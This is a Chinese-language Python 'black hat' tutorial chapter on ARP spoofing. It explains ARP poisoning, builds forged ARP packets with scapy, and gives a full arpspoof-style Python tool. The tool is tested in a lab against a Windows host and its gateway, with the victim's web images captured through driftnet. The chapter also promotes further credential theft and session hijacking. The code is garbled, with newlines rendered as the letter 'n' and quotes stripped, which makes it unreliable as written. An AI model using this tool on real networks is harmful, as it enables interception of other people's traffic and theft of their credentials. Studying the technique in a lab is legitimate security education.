Python黑帽編程 3.1 ARP欺騙
ARP欺騙是一種在區域網中常用的攻擊手段,目的是讓區域網中指定的(或全部)的目標機器的數據包都通過攻擊者主機進行轉發,是實現中間人攻擊的常用手段,從而實現數據監聽、篡改、重放、釣魚等攻擊方式。
在進行ARP欺騙的編碼實驗之前,我們有必要了解下ARP和ARP欺騙的原理。
3.1.1 ARP和ARP欺騙原理
ARP是地址轉換協議(Address Resolution Protocol)的英文縮寫,它是一個鏈路層協議,工作在OSI 模型的第二層,在本層和硬體介面間進行聯繫,同時對上層(網路層)提供服務。我們知道二層的乙太網交換設備並不能識別32位的IP地址,它們是以48位乙太網地址(就是我們常說的MAC地址)傳輸乙太網數據包的。也就是說IP數據包在區域網內部傳輸時並不是靠IP地址而是靠MAC地址來識別目標的,因此IP地址與MAC地址之間就必須存在一種對應關係,而ARP協議就是用來確定這種對應關係的協議。
ARP工作時,首先請求主機會發送出一個含有所希望到達的IP地址的乙太網廣播數據包,然後目標IP的所有者會以一個含有IP和MAC地址對的數據包應答請求主機。這樣請求主機就能獲得要到達的IP地址對應的MAC地址,同時請求主機會將這個地址對放入自己的ARP表緩存起來,以節約不必要的ARP通信。ARP緩存表採用了老化機制,在一段時間內如果表中的某一行沒有使用,就會被刪除。
區域網上的一台主機,如果接收到一個ARP報文,即使該報文不是該主機所發送的ARP請求的應答報文,該主機也會將ARP報文中的發送者的MAC地址和IP地址更新或加入到ARP表中。
ARP欺騙攻擊就利用了這點,攻擊者主動發送ARP報文,發送者的MAC地址為攻擊者主機的MAC地址,發送者的IP地址為被攻擊主機的IP地址。通過不斷發送這些偽造的ARP報文,讓區域網上所有的主機和網關ARP表,其對應的MAC地址均為攻擊者的MAC地址,這樣所有的網路流量都會發送給攻擊者主機。由於ARP欺騙攻擊導致了主機和網關的ARP表的不正確,這種情況我們也稱為ARP中毒。
根據ARP欺騙者與被欺騙者之間的角色關係的不同,通常可以把ARP欺騙攻擊分為如下兩種:
1. 主機型ARP欺騙:欺騙者主機冒充網關設備對其他主機進行欺騙
2. 網關型ARP欺騙:欺騙者主機冒充其他主機對網關設備進行欺騙
圖2其實很多時候,我們都是進行雙向欺騙,既欺騙主機又欺騙網關。
了解了基本原理之後,我們下面動手實現ARP欺騙程序。
3.1.2 基本網路信息
首先,我們來查看下當前虛擬機Kali Linux的網路配置和ARP緩存。
圖3
如圖5所示,Kali Linux 乙太網卡為eth0,ip地址為192.168.1.102,MAC地址為00:0c:29:6e:98:a6。下面我們再查看Kali Linux的ARP緩存。
圖4
下面再用同樣的方法查看Windows 系統的信息。
圖5
windows本身地址為192.168.1.18,同樣緩存了路由器的地址。
下面我們將windows所在主機作為靶機,將Kali Linux所在虛擬機作為攻擊機,進行編程測試。
3.1.3 構造ARP欺騙數據包
我們先完成第一個目標,告訴目標主機192.168.1.18網關的地址為Kali Linux所在主機的地址:192.168.1.102。
在程序的頂部,我們先導入scapy。
import sysnimport timenfrom scapy.all import (n get_if_hwaddr,n getmacbyip,n ARP,n Ether,n sendpn)n
注意這裡面的幾個方法,get_if_hwaddr為獲取本機網路介面的函數,getmacbyip是通過ip地址獲取其Mac地址的方法,ARP是構建ARP數據包的類,Ether用來構建乙太網數據包,sendp方法在第二層發送數據包。
我們先解下Ether的參數:
圖6
dst : DestMACField = (None)nsrc : SourceMACField = (None)ntype : XShortEnumField = (36864)n
構造一個乙太網數據包通常需要指定目標和源MAC地址,如果不指定,默認發出的就是廣播包,例如:
圖7
再來了解下ARP類構造函數的參數列表:
圖8
hwtype : XShortField = (1)nptype : XShortEnumField = (2048)nhwlen : ByteField = (6)nplen : ByteField = (4)nop : ShortEnumField = (1)nhwsrc : ARPSourceMACField = (None)npsrc : SourceIPField = (None)nhwdst : MACField = (00:00:00:00:00:00)npdst : IPField = (0.0.0.0)n
構造ARP需要我們注意的有5個參數:
l op。取值為1或者2,代表ARP請求或者響應包。nl hwsrc。發送方Mac地址。nl psrc。發送方IP地址。nl hwdst。目標Mac地址。nl pdst。目標IP地址。n
定向欺騙
現在來構造數據包就很容易了,回到我們最初的目標,我們想告訴192.168.1.23這台主機網關地址為192.168.1.102所在的主機,構造的數據包應該是這樣的:
pkt = Ether(src=[1.102的MAC], dst=[1.18的Mac]) / ARP(1.102的MAC, 網關IP地址,hwdst=1.18MAC, pdst=1.18IP地址, op=2)n
上面的代碼我們不論是乙太網數據包還是ARP數據包,我們都明確指定了來源和目標,在ARP數據包中,我們將Kali Linux的Mac地址和網關的IP地址進行了綁定,op取值為2,作為一個響應包被1. 18接到,這樣1. 18會更新自己的ARP緩存表,造成中毒,從而1. 18發往網關的數據包都會被發往1.102。
那麼我們如果要欺騙網關,把網關發往1.18的數據包都發送到Kali Linux(1.102)上,根據上面的代碼稍作修改即可:
pkt = Ether(src=[1.102的MAC], dst=[網關的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=網關MAC,pdst=網關IP地址, op=2)n
上面構造的兩個數據包都是ARP響應包,其實發送請求包也可以進行毒化,請求包毒化的原理是,我們請求時候使用假的源IP和MAC地址,目標主機同樣會更新自己的路由表。
ARP請求的方式欺騙主機,構造的ARP包如下:
pkt = Ether(src=[1.102的MAC], dst=[1. 18的Mac]) / ARP(1.102的MAC, 網關IP地址, hwdst=1. 18MAC, pdst=1. 18IP地址, op=1)n
ARP請求的方式欺騙網關,構造的ARP包如下:
pkt = Ether(src=[1.102的MAC], dst=[網關的Mac]) / ARP(1.102的MAC, 1. 18地址, hwdst=網關MAC,pdst=網關IP地址, op=1)n
我們看到構造ARP請求和響應的主要區別在op的值。
目前我們欺騙的方式都是一對一欺騙的,事實上我們可以發送廣播包,對所有主機進行欺騙。
廣播欺騙
廣播欺騙,首先乙太網數據包直接構造一個廣播包,ARP包不用填寫目標主機的信息即可。
下面是ARP廣播響應包的構造方式:
pkt = Ether(src=mac, dst=ff:ff:ff:ff:ff:ff) / ARP(hwsrc=mac, psrc=args[0], op=2)n
最後綜合定下和廣播欺騙的方式,我們總結一個公式出來:
pkt = Ether(src=攻擊機MAC, dst=被欺騙主機(或網關)MAC) / ARP((hwsrc=毒化記錄中的MAC, 毒化記錄中的IP, hwdst=被欺騙主機MAC, pdst=被欺騙主機IP地址, op=1(或2))
概念有點繞,實踐出真知。
3.1.4 發送數據包
數據包構造完成之後,我們要做的就是發送了,發送數據包這裡我們使用sendp方法,該方法描述如下:
Send packets at layer 2n sendp(packets, [inter=0], [loop=0], [verbose=conf.verb]) -> Nonen
和sendp方法類似的還有一個send方法,兩個方法不同的是,sendp方法工作在第二層,send方法工作在第三層。發送構造好的數據包就很簡單了:
sendp(pkt, inter=2, iface=網卡)n
3.1.5 打造你的ARPSPOOF
ARP欺騙的核心內容我們已經講完了,在Kali Linux上有一款常用的ARP欺騙工具叫arpspoof。
圖9
(關於arpspoof的使用可以參考我的視頻教程《kali linux 滲透測試初級教程》,文末有獲取方法。)
雖然我們不知道arpspoof的內部實現代碼,但是我們完全可以根據目前掌握的知識,用Python來實現它。廢話少說,先上代碼:
#!/usr/bin/pythonn nimport osnimport sysnimport signaln nfrom scapy.all import (n get_if_hwaddr,n getmacbyip,n ARP,n Ether,n sendpn)nfrom optparse import OptionParsern ndef main():n try:n if os.geteuid() != 0:n print "[-] Run me as root"n sys.exit(1)n except Exception,msg:n print msgn n usage = Usage: %prog [-i interface] [-t target] hostn parser = OptionParser(usage)n parser.add_option(-i, dest=interface, help=Specify the interface to use)n parser.add_option(-t, dest=target, help=Specify a particular host to ARP poison)n parser.add_option(-m, dest=mode, default=req, help=Poisoning mode: requests (req) or replies (rep) [default: %default])n parser.add_option(-s, action=store_true, dest=summary, default=False, help=Show packet summary and ask for confirmation before poisoning)n (options, args) = parser.parse_args()n n if len(args) != 1 or options.interface is None:n parser.print_help()n sys.exit(0)n n mac = get_if_hwaddr(options.interface)n n def build_req():n if options.target is None:n pkt = Ether(src=mac, dst=ff:ff:ff:ff:ff:ff) / ARP(hwsrc=mac, psrc=args[0], pdst=args[0])n elif options.target:n target_mac = getmacbyip(options.target)n if target_mac is None:n print "[-] Error: Could not resolve targets MAC address"n sys.exit(1)n pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target)n n return pktn n def build_rep():n if options.target is None:n pkt = Ether(src=mac, dst=ff:ff:ff:ff:ff:ff) / ARP(hwsrc=mac, psrc=args[0], op=2)n elif options.target:n target_mac = getmacbyip(options.target)n if target_mac is None:n print "[-] Error: Could not resolve targets MAC address"n sys.exit(1)n pkt = Ether(src=mac, dst=target_mac) / ARP(hwsrc=mac, psrc=args[0], hwdst=target_mac, pdst=options.target, op=2)n n return pktn n if options.mode == req:n pkt = build_req()n elif options.mode == rep:n pkt = build_rep()n n if options.summary is True:n pkt.show()n ans = raw_input(n[*] Continue? [Y|n]: ).lower()n if ans == y or len(ans) == 0:n passn else:n sys.exit(0)n n while True:n sendp(pkt, inter=2, iface=options.interface)nif __name__ == __main__:n main()n
代碼略微有一點多,不過核心內容沒有離開我們上面講到的內容,現在做個分解。
usage = Usage: %prog [-i interface] [-t target] hostn parser = OptionParser(usage)n parser.add_option(-i, dest=interface, help=Specify the interface to use)n parser.add_option(-t, dest=target, help=Specify a particular host to ARP poison)n parser.add_option(-m, dest=mode, default=req, help=Poisoning mode: requests (req) or replies (rep) [default: %default])n parser.add_option(-s, action=store_true, dest=summary, default=False, help=Show packet summary and ask for confirmation before poisoning)n (options, args) = parser.parse_args()n n if len(args) != 1 or options.interface is None:n parser.print_help()n sys.exit(0)n
首先,我們引入了optparse模塊,用來格式化用戶輸入的參數,如果用戶輸入參數不正確,會列印使用說明。
圖10
下面調用了get_if_hwaddr方法,根據參數中傳入的網卡,獲取本機MAC地址,該MAC地址在構建乙太網和ARP數據包的時候做為攻擊機的MAC地址被使用。
接下來是build_req方法,和build_rep方法,分別用來構建ARP請求和響應包。兩個方法會檢查是否指定了目標地址,如果沒有就是廣播欺騙,如果有就是定下欺騙。兩個方法裡面使用了getmacbyip方法來根據ip地址獲取目標主機的MAC地址。構建數據包的原理我們上面講的很清楚了,這裡就不重複了。
再往下是根據輸入的參數,判斷應該構建的數據包類型,調用對應的方法。
if options.mode == req:n pkt = build_req()n elif options.mode == rep:n pkt = build_rep()n n if options.summary is True:n pkt.show()n ans = raw_input(n[*] Continue? [Y|n]: ).lower()n if ans == y or len(ans) == 0:n passn else:n sys.exit(0)n
最後是發送數據包和程序的入口。
while True:n sendp(pkt, inter=2, iface=options.interface)nif __name__ == __main__:n main()n
程序準備妥當,我們保存源碼,下面開始測試。
3.1.6 測試
在做ARP欺騙測試的時候,一定要先開啟本機的IP轉發功能,否則會失敗的。執行如下命令:
sysctl net.ipv4.ip_forward=1
圖11
下面我們打開終端,對192.168.1.18進行欺騙,告訴它網關為192.168.1.102所在的主機。
圖12
在打開一個終端,對網關進行欺騙,告訴網關,192.168.1.18對應的主機為192.168.1.102.
python arp1.py -i eth0 -t 192.168.1.1 192.168.1.18n
一段時間之後,我們發現,192.168.1.18的arp緩存發生了變化:
圖13
對比圖13和圖5我們知道arp毒化成功。下面我們來看一下能發捕獲到1.18的外網請求信息,使用常用的測試工具driftnet。
圖14
下面在1.18上隨便打開幾個帶有圖片的網頁。
圖15
在drifnet上面我們可以看到捕獲的圖片信息,如圖16所示。
圖16
證明我們的arp欺騙程序編寫成功。
3.1.7 在此基礎上我們能做什麼
上面的測試,我們知道基於ARP欺騙我們可以做數據監聽,能拿到敏感信息,能拿到憑證進行重放攻擊,能進行數據篡改,結合調用和DNS欺騙做很多事情。
關於進一步的實戰利用,這裡我就不展開了,在我的視頻教程《Kali Linux web滲透測試基礎教程》的第十四課《第14課-arp欺騙、嗅探、dns欺騙、session劫持》講了很多實用的工具,可以在ARP欺騙的基礎上做很多測試。只要在玄魂工作室的微信訂閱號(在下方掃碼關注)下回復「kali」,會自動回復你免費獲取整套教程的方法。
3.1.8 小結
本節比較詳細的講解了基於Scapy進行ARP數據包構建和發送的基礎知識,綜合這些基礎進行ARP欺騙的工具編寫,最終完成了一個可用的ARP欺騙工具。
下一節,基於本節的知識,我們編寫一個ARP監控工具,來對網路上主機的ARP請求做動態的回應。
第3.2節《ARP監控》已經在微信訂閱號搶先發布,心急的同學進入訂閱號(二維碼在下方),從菜單「專欄」—>」Python黑帽編程」進入即可。
查看完整系列教程,請關注我的微信訂閱號(xuanhun521,下方二維碼),回復「python」。問題討論請加qq群:Hacking (1群):303242737 Hacking (2群):147098303。
點擊打開二維碼
玄魂工作室-精彩不斷
推薦閱讀: